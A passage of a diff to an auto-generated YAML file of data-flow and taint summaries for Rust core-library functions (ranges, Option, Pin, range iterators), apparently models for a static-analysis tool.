"df-generated"] + - ["lang:core", "::abs", "Argument[self].Field[0]", "ReturnValue.Field[crate::num::wrapping::Wrapping(0)]", "value", "dfc-generated"] + - ["lang:core", "::abs", "Argument[self].Field[crate::num::wrapping::Wrapping(0)]", "ReturnValue.Field[crate::num::wrapping::Wrapping(0)]", "value", "dfc-generated"] - ["lang:core", "::from_residual", "Argument[0].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] @@ -853,7 +1240,8 @@ extensions: - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::ops::range::Bound::Excluded(0)]", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cloned", "Argument[self].Field[crate::ops::range::Bound::Excluded(0)].Reference", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] + - ["lang:core", "::cloned", "Argument[self].Field[crate::ops::range::Bound::Included(0)].Reference", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[self].Field[crate::ops::range::Bound::Excluded(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] @@ -863,14 +1251,22 @@ extensions: - ["lang:core", "::setup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_nth", "Argument[self].Field[crate::ops::range::Range::end].Reference", "Argument[self].Field[crate::ops::range::Range::start]", "value", "dfc-generated"] - - ["lang:core", "::spec_nth", "Argument[self].Field[crate::ops::range::Range::end]", "Argument[self].Field[crate::ops::range::Range::start].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_nth", "Argument[self].Field[crate::ops::range::Range::end]", "Argument[self].Field[crate::ops::range::Range::start]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self].Field[crate::ops::range::Range::start]", "Argument[self].Field[crate::ops::range::Range::end]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::end_bound", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)].Reference", "value", "dfc-generated"] @@ -878,7 +1274,6 @@ extensions: - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0].Field[crate::range::RangeFrom::start]", "ReturnValue.Field[crate::ops::range::RangeFrom::start]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::bound", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] @@ -890,24 +1285,29 @@ extensions: - ["lang:core", "::index", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::index_mut", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "Argument[1].Parameter[1]", "value", "dfc-generated"] - - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::spec_try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::spec_try_rfold", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::spec_try_rfold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "value", "dfc-generated"] - - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] @@ -935,12 +1335,11 @@ extensions: - ["lang:core", "::from_output", "Argument[0]", "ReturnValue.Field[crate::ops::try_trait::NeverShortCircuit(0)]", "value", "dfc-generated"] - ["lang:core", "::wrap_mut_1", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::wrap_mut_2", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::option::Item::opt].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::option::Item::opt]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Iter::inner].Reference", "ReturnValue.Field[crate::option::Iter::inner]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Iter::inner]", "ReturnValue.Field[crate::option::Iter::inner]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] @@ -953,7 +1352,6 @@ extensions: - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::expect", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::flatten", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -976,22 +1374,21 @@ extensions: - ["lang:core", "::map_or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or", "Argument[self].Field[crate::option::Option::Some(0)]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::map_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::map_or_else", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[self].Field[crate::option::Option::Some(0)]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::ok_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:core", "::ok_or_else", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or_else", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or_else", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::replace", "Argument[0]", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::replace", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::take_if", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - - ["lang:core", "::take_if", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::transpose", "Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::transpose", "Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::unwrap", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -1033,28 +1430,37 @@ extensions: - ["lang:core", "::deref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::deref_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::as_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::as_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::as_ref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_ref", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[0].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner_unchecked", "Argument[0].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_ref", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked", "Argument[0].ReturnValue.Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked", "Argument[0].ReturnValue", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::map_unchecked", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked_mut", "Argument[0].ReturnValue.Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[0].ReturnValue", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[0]", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::set", "Argument[0]", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::static_mut", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::static_mut", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:core", "::static_ref", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::static_ref", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::max", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::from", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_ref", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -1086,37 +1492,37 @@ extensions: - ["lang:core", "::start_bound", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::into_slice_range", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::range::Range::start]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRange(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[0].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRangeFrom(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self].Field[0].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::range::RangeFrom::start]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self].Field[crate::range::iter::IterRangeFrom(0)].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::range::RangeFrom::start]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", 